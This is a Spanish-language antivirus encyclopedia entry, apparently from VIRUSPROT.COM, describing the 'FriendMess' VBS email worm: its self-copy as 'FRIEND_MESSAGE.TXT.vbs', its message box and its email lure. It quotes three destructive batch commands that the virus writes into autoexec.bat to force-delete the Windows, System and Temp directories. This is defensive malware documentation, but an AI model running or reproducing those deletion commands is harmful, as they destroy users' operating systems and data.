VIRUS

FRIENDMESS

Nuevos Virus

Enciclopedia

Noticias

Top Virus

Anti-Virus

Se trata de una nueva versión de este tipo de virus. El virus se copia a sí mismo en el directorio del sistema Windows con el nombre "FRIEND_MESSAGE.TXT.vbs" y después construye las siguientes cadenas en c:\autoexec.bat:

"if exist C:\WINDOWS\SYSTEM\*.* del C:\WINDOWS\SYSTEM\*.* /Q /F"
"if exist C:\WINDOWS\*.* del C:\WINDOWS\*.* /Q /F"
"if exist C:\WINDOWS\TEMP\*.* del C:\WINDOWS\TEMP\*.* /Q /F"


Nótese que c:\windows aquí es un simple ejemplo. El path se construye de forma dinámica.
Adicionalmente, el virus muestra una caja de texto con el siguiente mensaje:

"If you receive this message remember forever: A precious friend in all the world like only you! So think that!"

No tiene la función para replicarse y el mensaje tiene la siguiente forma:

Asunto: Friend message

A real friend send thismessage to you

Archivo adjunto: FRIEND_MESSAGE.TXT.vbs


Copyright © VIRUSPROT.COM